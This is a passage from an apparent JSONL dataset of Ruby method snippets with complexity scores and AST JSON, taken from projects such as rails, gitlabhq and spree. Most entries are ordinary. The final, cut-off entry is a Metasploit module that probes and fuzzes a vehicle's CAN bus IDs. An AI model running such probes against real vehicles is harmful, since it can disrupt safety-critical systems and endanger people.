end","complexity_score":33.28,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_lock_attempt_interrupted_with_cache_invalidation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_fetcher\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"sleep\"]}]},\"never\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backend\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"cas\"]}]},\"returns\",{\"type\":\"false\",\"children\":[]}]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"got_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"other_cache_fetcher\"]},\"delete\",{\"type\":\"send\",\"children\":[null,\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"got_key\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"other_client_operations\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_memcache_operations\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"+\",{\"type\":\"lvar\",\"children\":[\"other_client_operations\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"fill_data\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_fetcher\"]},\"fetch\",{\"type\":\"send\",\"children\":[null,\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fill_lock_duration\"]},{\"type\":\"float\",\"children\":[0.9]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"fill_data\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"DELETED\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backend\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"key\"]}]}]}]}]}","id":"36f1a8f2-baed-4416-9c7d-e1c40201ad89"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/iap_detail.rb","start_line":153,"raw_source":"def merch_screenshot\n return nil unless raw_data && raw_data[\"versions\"] && raw_data[\"versions\"].first && raw_data[\"versions\"].first[\"merch\"] && raw_data[\"versions\"].first[\"merch\"][\"images\"].first[\"image\"][\"value\"]\n raw_data[\"versions\"].first[\"merch\"][\"images\"].first[\"image\"][\"value\"]\n end","complexity_score":51.0,"ast_json":"{\"type\":\"def\",\"children\":[\"merch_screenshot\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"versions\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"versions\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"versions\"]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"merch\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"versions\"]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"merch\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"images\"]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"image\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"versions\"]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"merch\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"images\"]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"image\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]}]}","id":"b66734f8-0382-4d23-8c7f-62a974f08a26"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_pool_test.rb","start_line":217,"raw_source":"def test_reap_inactive\n ready = Concurrent::CountDownLatch.new\n @pool.checkout\n child = new_thread do\n @pool.checkout\n @pool.checkout\n ready.count_down\n stop_thread\n end\n pass_to(child) until ready.wait(0)\n\n assert_equal 3, active_connections(@pool).size\n\n child.terminate\n child.join\n @pool.reap\n\n assert_equal 1, active_connections(@pool).size\n ensure\n @pool.connections.each { |conn| conn.close if conn.in_use? }\n end","complexity_score":33.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reap_inactive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ready\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"CountDownLatch\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"checkout\"]},{\"type\":\"lvasgn\",\"children\":[\"child\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_thread\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"checkout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"checkout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ready\"]},\"count_down\"]},{\"type\":\"send\",\"children\":[null,\"stop_thread\"]}]}]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ready\"]},\"wait\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"pass_to\",{\"type\":\"lvar\",\"children\":[\"child\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_connections\",{\"type\":\"ivar\",\"children\":[\"@pool\"]}]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"terminate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"join\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"reap\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_connections\",{\"type\":\"ivar\",\"children\":[\"@pool\"]}]},\"size\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"connections\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"in_use?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"close\"]},null]}]}]}]}","id":"af62b475-178f-4b12-a5b7-ba0f56e5b078"} {"repo_name":"forem","file_path":"./repos/forem/app/models/notification.rb","start_line":110,"raw_source":"def send_mention_notification_without_delay(mention)\n return if MentionDecorator.new(mention).mentioned_by_blocked_user?\n\n Notifications::NewMention::Send.call(mention) if mention\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"send_mention_notification_without_delay\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mention\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MentionDecorator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"mention\"]}]},\"mentioned_by_blocked_user?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notifications\"]},\"NewMention\"]},\"Send\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"mention\"]}]},null]}]}]}","id":"dc771192-4173-4269-8425-970f90e20e81"} {"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/search/base.rb","start_line":124,"raw_source":"def prepare(params)\n @properties[:keywords] = params[:keywords]\n @properties[:option_value_ids] = build_option_value_ids(params)\n @properties[:price] = get_price_range(params[:price])\n @properties[:search] = params[:search]\n @properties[:sort_by] = params[:sort_by] || 'default'\n @properties[:include_images] = params[:include_images]\n\n per_page = params[:per_page].to_i\n @properties[:per_page] = per_page > 0 ? per_page : Spree::Config[:products_per_page]\n @properties[:page] = if params[:page].respond_to?(:to_i)\n params[:page].to_i <= 0 ? 1 : params[:page].to_i\n else\n 1\n end\n @properties[:product_properties] = params[:properties]\n end","complexity_score":35.98,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"keywords\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keywords\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"option_value_ids\"]},{\"type\":\"send\",\"children\":[null,\"build_option_value_ids\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"price\"]},{\"type\":\"send\",\"children\":[null,\"get_price_range\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"price\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sort_by\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort_by\"]}]},{\"type\":\"str\",\"children\":[\"default\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"include_images\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"include_images\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"per_page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"per_page\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"per_page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"products_per_page\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]},\"to_i\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]},\"to_i\"]}]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"product_properties\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"properties\"]}]}]}]}]}","id":"d52b1e53-3cd4-4f95-b921-431bba5e9180"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/relatable_filter.rb","start_line":34,"raw_source":"def available?\n User.current.allowed_in_any_work_package?(:manage_work_package_relations)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_any_work_package?\",{\"type\":\"sym\",\"children\":[\"manage_work_package_relations\"]}]}]}","id":"c63ec565-6f49-4090-ada6-6ce38e82e754"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_miq_set.rb","start_line":52,"raw_source":"def self.acts_as_miq_set(model_class = nil)\n include ActsAsMiqSet\n\n self.model_class = model_class unless model_class.nil?\n end","complexity_score":6.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"acts_as_miq_set\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"model_class\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[null,\"ActsAsMiqSet\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_class\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"model_class=\",{\"type\":\"lvar\",\"children\":[\"model_class\"]}]}]}]}]}","id":"1d00549c-6d8a-4117-80b9-256e0c4b06e9"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/naming_test.rb","start_line":152,"raw_source":"def test_route_key\n assert_equal \"articles\", @model_name.route_key\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_route_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"articles\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model_name\"]},\"route_key\"]}]}]}","id":"c59f2815-455d-4882-99ed-82e0fd3e04b6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/merge_requests/assigns_merge_params.rb","start_line":5,"raw_source":"def self.included(klass)\n raise \"#{self} can not be included in #{klass} without implementing #current_user\" unless klass.method_defined?(:current_user)\n end","complexity_score":4.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"method_defined?\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"self\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\" can not be included in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"str\",\"children\":[\" without implementing #current_user\"]}]}]}]}]}","id":"770e4fd2-302c-4168-9e05-a90290642a0b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/jira_connect/sync_service_spec.rb","start_line":28,"raw_source":"def expect_log(type, message)\n expect(Gitlab::IntegrationsLogger)\n .to receive(type).with(\n {\n message: 'response from jira dev_info api',\n integration: 'JiraConnect',\n project_id: project.id,\n project_path: project.full_path,\n jira_response: message&.to_json\n }\n )\n end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_log\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"IntegrationsLogger\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"response from jira dev_info api\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"integration\"]},{\"type\":\"str\",\"children\":[\"JiraConnect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jira_response\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"to_json\"]}]}]}]}]}]}","id":"b3953305-26cb-4106-b031-102221c9ddc6"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/model_schema.rb","start_line":328,"raw_source":"def real_inheritance_column=(value) # :nodoc:\n self._inheritance_column = value.to_s\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"real_inheritance_column=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"_inheritance_column=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]}","id":"ba7af82e-603f-43e4-ba02-afe7540e6f5f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/concurrency_limit/concurrency_limit_service.rb","start_line":53,"raw_source":"def track_execution_end(worker_name)\n new(worker_name).track_execution_end\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"track_execution_end\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"worker_name\"]}]},\"track_execution_end\"]}]}","id":"56ef99e3-96b7-4c64-b0c5-a781a782e279"} {"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/token_introspection.rb","start_line":80,"raw_source":"def authorize_using_bearer_token!\n # Requested bearer token authorization\n #\n # If the protected resource uses an OAuth 2.0 bearer token to authorize\n # its call to the introspection endpoint and the token used for\n # authorization does not contain sufficient privileges or is otherwise\n # invalid for this request, the authorization server responds with an\n # HTTP 401 code as described in Section 3 of OAuth 2.0 Bearer Token\n # Usage [RFC6750].\n #\n @error = Errors::InvalidToken unless valid_authorized_token?\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_using_bearer_token!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_authorized_token?\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errors\"]},\"InvalidToken\"]}]}]}]}","id":"977f5954-de91-4672-a3d5-aafbee993a52"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_migration.rb","start_line":74,"raw_source":"def region_number\n subscription.provider_region\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"region_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscription\"]},\"provider_region\"]}]}","id":"489c5180-b6f2-4725-9c8f-9fef4f76e26d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/discussions_diff/file_collection.rb","start_line":70,"raw_source":"def diff_files\n strong_memoize(:diff_files) { map(&:raw_diff_file) }\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"diff_files\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw_diff_file\"]}]}]}]}]}","id":"30a43074-fec6-4e2f-b305-130d7a50a891"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_stdout.rb","start_line":64,"raw_source":"def process(tag, es)\n es = inject_values_to_event_stream(tag, es)\n es.each {|time,record|\n dest_io.write(format(tag, time, record))\n }\n dest_io.flush\n end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"es\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"es\",{\"type\":\"send\",\"children\":[null,\"inject_values_to_event_stream\",{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"es\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"es\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dest_io\"]},\"write\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dest_io\"]},\"flush\"]}]}]}","id":"bb1b5163-3bd3-4911-ac63-5b791392892e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/hardware/automotive/canprobe.rb","start_line":40,"raw_source":"def run\n unless client.automotive\n print_error('The hwbridge requires a functional automotive extention')\n return\n end\n stopid = datastore['STARTID']\n stopid = datastore['STOPID'] unless datastore['STOPID'].nil?\n data = '%02X' % datastore['PROBEVALUE']\n (datastore['STARTID']..stopid).each do |id|\n print_status(\"Probing 0x#{id.to_s(16)}...\")\n 8.times do |pos|\n padding = '00' * pos\n endpadding = ''\n endpadding = ('%02X' % datastore['PADDING']) * (7 - pos) if !datastore['PADDING'].nil?\n if datastore['FUZZ']\n 256.times do |fuzzdata|\n client.automotive.cansend(datastore['CANBUS'], id.to_s(16), padding + ('%02X' % fuzzdata) + endpadding)\n end\n else\n client.automotive.cansend(datastore['CANBUS'], id.to_s(16), padding + data + endpadding)\n end\n end\n end\n print_status('Probe Complete')\n end","complexity_score":94.73,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"automotive\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"The hwbridge requires a functional automotive extention\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stopid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STARTID\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STOPID\"]}]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"stopid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STOPID\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%02X\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PROBEVALUE\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STARTID\"]}]},{\"type\":\"lvar\",\"children\":[\"stopid\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Probing 0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pos\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"padding\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"00\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"pos\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"endpadding\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PADDING\"]}]},\"nil?\"]},\"!\"]},{\"type\"